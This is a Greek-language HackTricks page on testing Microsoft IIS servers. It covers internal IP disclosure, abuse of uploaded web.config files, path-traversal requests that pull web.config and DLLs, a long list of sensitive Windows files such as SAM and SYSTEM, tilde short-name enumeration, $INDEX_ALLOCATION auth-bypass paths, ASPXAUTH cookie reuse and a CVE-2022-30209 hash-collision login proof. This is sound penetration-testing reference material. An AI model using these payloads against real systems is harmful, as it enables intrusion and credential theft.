mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
265 lines
18 KiB
Markdown
265 lines
18 KiB
Markdown
# IIS - Internet Information Services
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Δοκιμάστε εκτελέσιμες επεκτάσεις αρχείων:
|
||
|
||
- asp
|
||
- aspx
|
||
- config
|
||
- php
|
||
|
||
## Αποκάλυψη εσωτερικής διεύθυνσης IP
|
||
|
||
Σε οποιονδήποτε διακομιστή IIS όπου λαμβάνετε 302, μπορείτε να δοκιμάσετε να αφαιρέσετε την κεφαλίδα Host και να χρησιμοποιήσετε HTTP/1.0 και μέσα στην απόκριση η κεφαλίδα Location θα μπορούσε να σας δείξει την εσωτερική διεύθυνση IP:
|
||
```
|
||
nc -v domain.com 80
|
||
openssl s_client -connect domain.com:443
|
||
```
|
||
Απάντηση που αποκαλύπτει την εσωτερική διεύθυνση IP:
|
||
```
|
||
GET / HTTP/1.0
|
||
|
||
HTTP/1.1 302 Moved Temporarily
|
||
Cache-Control: no-cache
|
||
Pragma: no-cache
|
||
Location: https://192.168.5.237/owa/
|
||
Server: Microsoft-IIS/10.0
|
||
X-FEServer: NHEXCHANGE2016
|
||
```
|
||
## Εκτέλεση αρχείων .config
|
||
|
||
Μπορείτε να ανεβάσετε αρχεία .config και να τα χρησιμοποιήσετε για να εκτελέσετε κώδικα. Ένας τρόπος να το κάνετε αυτό είναι να προσθέσετε τον κώδικα στο τέλος του αρχείου μέσα σε ένα HTML σχόλιο: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||
|
||
Περισσότερες πληροφορίες και τεχνικές για την εκμετάλλευση αυτής της ευπάθειας [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||
|
||
## Bruteforce Ανακάλυψη IIS
|
||
|
||
Κατεβάστε τη λίστα που έχω δημιουργήσει:
|
||
|
||
{{#file}}
|
||
iisfinal.txt
|
||
{{#endfile}}
|
||
|
||
Δημιουργήθηκε συγχωνεύοντας τα περιεχόμενα των παρακάτω λιστών:
|
||
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
||
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
||
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
|
||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||
|
||
Χρησιμοποιήστε το χωρίς να προσθέσετε καμία επέκταση, τα αρχεία που το χρειάζονται την έχουν ήδη.
|
||
|
||
## Διαδρομή Traversal
|
||
|
||
### Διαρροή πηγαίου κώδικα
|
||
|
||
Ελέγξτε την πλήρη ανάλυση στο: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||
|
||
> [!NOTE]
|
||
> Ως σύνοψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "**assemblyIdentity**" και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα** και να τα κατεβάσετε.\
|
||
> Από τα **κατεβασμένα Dlls** είναι επίσης δυνατόν να βρείτε **νέα namespaces** όπου θα πρέπει να προσπαθήσετε να αποκτήσετε πρόσβαση και να αποκτήσετε το αρχείο web.config προκειμένου να βρείτε νέα namespaces και assemblyIdentity.\
|
||
> Επίσης, τα αρχεία **connectionstrings.config** και **global.asax** μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
|
||
|
||
Στις **εφαρμογές .Net MVC**, το αρχείο **web.config** παίζει κρίσιμο ρόλο καθορίζοντας κάθε δυαδικό αρχείο που εξαρτάται η εφαρμογή μέσω των XML ετικετών **"assemblyIdentity"**.
|
||
|
||
### **Εξερεύνηση Δυαδικών Αρχείων**
|
||
|
||
Ένα παράδειγμα πρόσβασης στο αρχείο **web.config** φαίνεται παρακάτω:
|
||
```html
|
||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
Αυτό το αίτημα αποκαλύπτει διάφορες ρυθμίσεις και εξαρτήσεις, όπως:
|
||
|
||
- **EntityFramework** έκδοση
|
||
- **AppSettings** για ιστοσελίδες, έλεγχο πελατών και JavaScript
|
||
- **System.web** ρυθμίσεις για αυθεντικοποίηση και χρόνο εκτέλεσης
|
||
- **System.webServer** ρυθμίσεις μονάδων
|
||
- **Runtime** δεσμεύσεις assembly για πολλές βιβλιοθήκες όπως **Microsoft.Owin**, **Newtonsoft.Json**, και **System.Web.Mvc**
|
||
|
||
Αυτές οι ρυθμίσεις υποδεικνύουν ότι ορισμένα αρχεία, όπως το **/bin/WebGrease.dll**, βρίσκονται μέσα στον φάκελο /bin της εφαρμογής.
|
||
|
||
### **Αρχεία Ρίζας Διευθύνσεων**
|
||
|
||
Αρχεία που βρίσκονται στον φάκελο ρίζας, όπως το **/global.asax** και το **/connectionstrings.config** (το οποίο περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής.
|
||
|
||
### **Namespaces και Web.Config**
|
||
|
||
Οι εφαρμογές MVC ορίζουν επίσης επιπλέον **web.config
|
||
```html
|
||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
### **Λήψη DLLs**
|
||
|
||
Η αναφορά σε ένα προσαρμοσμένο namespace υποδηλώνει μια DLL με όνομα "**WebApplication1**" που είναι παρούσα στον φάκελο /bin. Ακολουθώντας αυτό, εμφανίζεται ένα αίτημα για λήψη της **WebApplication1.dll**:
|
||
```html
|
||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||
Host: example-mvc-application.minded
|
||
```
|
||
Αυτό υποδηλώνει την παρουσία άλλων βασικών DLL, όπως το **System.Web.Mvc.dll** και το **System.Web.Optimization.dll**, στον φάκελο /bin.
|
||
|
||
Σε ένα σενάριο όπου μια DLL εισάγει ένα namespace που ονομάζεται **WebApplication1.Areas.Minded**, ένας επιτιθέμενος μπορεί να συμπεράνει την ύπαρξη άλλων αρχείων web.config σε προβλέψιμες διαδρομές, όπως **/area-name/Views/**, που περιέχουν συγκεκριμένες ρυθμίσεις και αναφορές σε άλλες DLL στον φάκελο /bin. Για παράδειγμα, ένα αίτημα προς το **/Minded/Views/web.config** μπορεί να αποκαλύψει ρυθμίσεις και namespaces που υποδεικνύουν την παρουσία άλλης DLL, **WebApplication1.AdditionalFeatures.dll**.
|
||
|
||
### Κοινά αρχεία
|
||
|
||
Από [εδώ](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
||
```
|
||
C:\Apache\conf\httpd.conf
|
||
C:\Apache\logs\access.log
|
||
C:\Apache\logs\error.log
|
||
C:\Apache2\conf\httpd.conf
|
||
C:\Apache2\logs\access.log
|
||
C:\Apache2\logs\error.log
|
||
C:\Apache22\conf\httpd.conf
|
||
C:\Apache22\logs\access.log
|
||
C:\Apache22\logs\error.log
|
||
C:\Apache24\conf\httpd.conf
|
||
C:\Apache24\logs\access.log
|
||
C:\Apache24\logs\error.log
|
||
C:\Documents and Settings\Administrator\NTUser.dat
|
||
C:\php\php.ini
|
||
C:\php4\php.ini
|
||
C:\php5\php.ini
|
||
C:\php7\php.ini
|
||
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
|
||
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
|
||
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
|
||
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
|
||
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
|
||
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
|
||
c:\Program Files (x86)\php\php.ini"
|
||
C:\Program Files\Apache Group\Apache\conf\httpd.conf
|
||
C:\Program Files\Apache Group\Apache\conf\logs\access.log
|
||
C:\Program Files\Apache Group\Apache\conf\logs\error.log
|
||
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
|
||
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
|
||
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
|
||
C:\Program Files\FileZilla Server\FileZilla Server.xml
|
||
C:\Program Files\MySQL\my.cnf
|
||
C:\Program Files\MySQL\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
|
||
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
|
||
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
|
||
C:\Program Files\php\php.ini
|
||
C:\Users\Administrator\NTUser.dat
|
||
C:\Windows\debug\NetSetup.LOG
|
||
C:\Windows\Panther\Unattend\Unattended.xml
|
||
C:\Windows\Panther\Unattended.xml
|
||
C:\Windows\php.ini
|
||
C:\Windows\repair\SAM
|
||
C:\Windows\repair\system
|
||
C:\Windows\System32\config\AppEvent.evt
|
||
C:\Windows\System32\config\RegBack\SAM
|
||
C:\Windows\System32\config\RegBack\system
|
||
C:\Windows\System32\config\SAM
|
||
C:\Windows\System32\config\SecEvent.evt
|
||
C:\Windows\System32\config\SysEvent.evt
|
||
C:\Windows\System32\config\SYSTEM
|
||
C:\Windows\System32\drivers\etc\hosts
|
||
C:\Windows\System32\winevt\Logs\Application.evtx
|
||
C:\Windows\System32\winevt\Logs\Security.evtx
|
||
C:\Windows\System32\winevt\Logs\System.evtx
|
||
C:\Windows\win.ini
|
||
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
||
C:\xampp\apache\conf\httpd.conf
|
||
C:\xampp\apache\logs\access.log
|
||
C:\xampp\apache\logs\error.log
|
||
C:\xampp\FileZillaFTP\FileZilla Server.xml
|
||
C:\xampp\MercuryMail\MERCURY.INI
|
||
C:\xampp\mysql\bin\my.ini
|
||
C:\xampp\php\php.ini
|
||
C:\xampp\security\webdav.htpasswd
|
||
C:\xampp\sendmail\sendmail.ini
|
||
C:\xampp\tomcat\conf\server.xml
|
||
```
|
||
## HTTPAPI 2.0 404 Error
|
||
|
||
Αν δείτε ένα σφάλμα όπως το παρακάτω:
|
||
|
||
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
|
||
|
||
Σημαίνει ότι ο διακομιστής **δεν έλαβε το σωστό όνομα τομέα** μέσα στην κεφαλίδα Host.\
|
||
Για να αποκτήσετε πρόσβαση στη σελίδα, μπορείτε να ρίξετε μια ματιά στο **SSL Certificate** που εξυπηρετείται και ίσως να βρείτε το όνομα τομέα/υποτομέα εκεί. Αν δεν είναι εκεί, ίσως χρειαστεί να **brute force VHosts** μέχρι να βρείτε το σωστό.
|
||
|
||
## Παλιές ευπάθειες IIS που αξίζει να αναζητήσετε
|
||
|
||
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||
|
||
Μπορείτε να προσπαθήσετε να **enumerate folders and files** μέσα σε κάθε ανακαλυφθέν φάκελο (ακόμα και αν απαιτεί Basic Authentication) χρησιμοποιώντας αυτή την **τεχνική**.\
|
||
Ο κύριος περιορισμός αυτής της τεχνικής αν ο διακομιστής είναι ευάλωτος είναι ότι **μπορεί να βρει μόνο μέχρι τα πρώτα 6 γράμματα του ονόματος κάθε αρχείου/φακέλου και τα πρώτα 3 γράμματα της επέκτασης** των αρχείων.
|
||
|
||
Μπορείτε να χρησιμοποιήσετε [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) για να δοκιμάσετε αυτή την ευπάθεια:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||
|
||
.png>)
|
||
|
||
Αρχική έρευνα: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||
|
||
Μπορείτε επίσης να χρησιμοποιήσετε **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||
|
||
Μια καλή ιδέα για να **βρείτε το τελικό όνομα** των ανακαλυφθέντων αρχείων είναι να **ρωτήσετε LLMs** για επιλογές όπως γίνεται στο σενάριο [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||
|
||
### Basic Authentication bypass
|
||
|
||
**Bypass** μια βασική αυθεντικοποίηση (**IIS 7.5**) προσπαθώντας να αποκτήσετε πρόσβαση: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ή `/admin::$INDEX_ALLOCATION/admin.php`
|
||
|
||
Μπορείτε να προσπαθήσετε να **μείξετε** αυτή την **ευπάθεια** και την τελευταία για να βρείτε νέους **φακέλους** και να **bypass** την αυθεντικοποίηση.
|
||
|
||
## ASP.NET Trace.AXD enabled debugging
|
||
|
||
Το ASP.NET περιλαμβάνει μια λειτουργία αποσφαλμάτωσης και το αρχείο του ονομάζεται `trace.axd`.
|
||
|
||
Διατηρεί ένα πολύ λεπτομερές αρχείο καταγραφής όλων των αιτημάτων που έγιναν σε μια εφαρμογή κατά τη διάρκεια μιας περιόδου.
|
||
|
||
Αυτές οι πληροφορίες περιλαμβάνουν IP απομακρυσμένων πελατών, IDs συνεδρίας, όλα τα cookies αιτήσεων και απαντήσεων, φυσικούς δρόμους, πληροφορίες πηγαίου κώδικα και ενδεχομένως ακόμα και ονόματα χρηστών και κωδικούς πρόσβασης.
|
||
|
||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||
|
||

|
||
|
||
## ASPXAUTH Cookie
|
||
|
||
Το ASPXAUTH χρησιμοποιεί τις παρακάτω πληροφορίες:
|
||
|
||
- **`validationKey`** (string): κλειδί σε μορφή hex για χρήση στην επικύρωση υπογραφής.
|
||
- **`decryptionMethod`** (string): (προεπιλογή “AES”).
|
||
- **`decryptionIV`** (string): αρχικοποιητικός διανύσματος σε μορφή hex (προεπιλογή ένα διανύσμα μηδενικών).
|
||
- **`decryptionKey`** (string): κλειδί σε μορφή hex για χρήση στην αποκρυπτογράφηση.
|
||
|
||
Ωστόσο, κάποιοι άνθρωποι θα χρησιμοποιήσουν τις **προεπιλεγμένες τιμές** αυτών των παραμέτρων και θα χρησιμοποιήσουν ως **cookie το email του χρήστη**. Επομένως, αν μπορείτε να βρείτε έναν ιστότοπο που χρησιμοποιεί την **ίδια πλατφόρμα** που χρησιμοποιεί το cookie ASPXAUTH και **δημιουργήσετε έναν χρήστη με το email του χρήστη που θέλετε να προσποιηθείτε** στον διακομιστή που δέχεται επίθεση, μπορεί να είστε σε θέση να χρησιμοποιήσετε **το cookie από τον δεύτερο διακομιστή στον πρώτο** και να προσποιηθείτε τον χρήστη.\
|
||
Αυτή η επίθεση λειτούργησε σε αυτή την [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||
|
||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||
|
||
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Ένα σφάλμα στον κώδικα **δεν έλεγξε σωστά τον κωδικό πρόσβασης που δόθηκε από τον χρήστη**, έτσι ένας επιτιθέμενος του οποίου **ο κωδικός πρόσβασης hash χτυπά ένα κλειδί** που είναι ήδη στην **cache** θα μπορεί να συνδεθεί ως αυτός ο χρήστης.
|
||
```python
|
||
# script for sanity check
|
||
> type test.py
|
||
def HashString(password):
|
||
j = 0
|
||
for c in map(ord, password):
|
||
j = c + (101*j)&0xffffffff
|
||
return j
|
||
|
||
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
||
|
||
# before the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 401 Unauthorized
|
||
|
||
# after the successful login
|
||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||
HTTP/1.1 200 OK
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|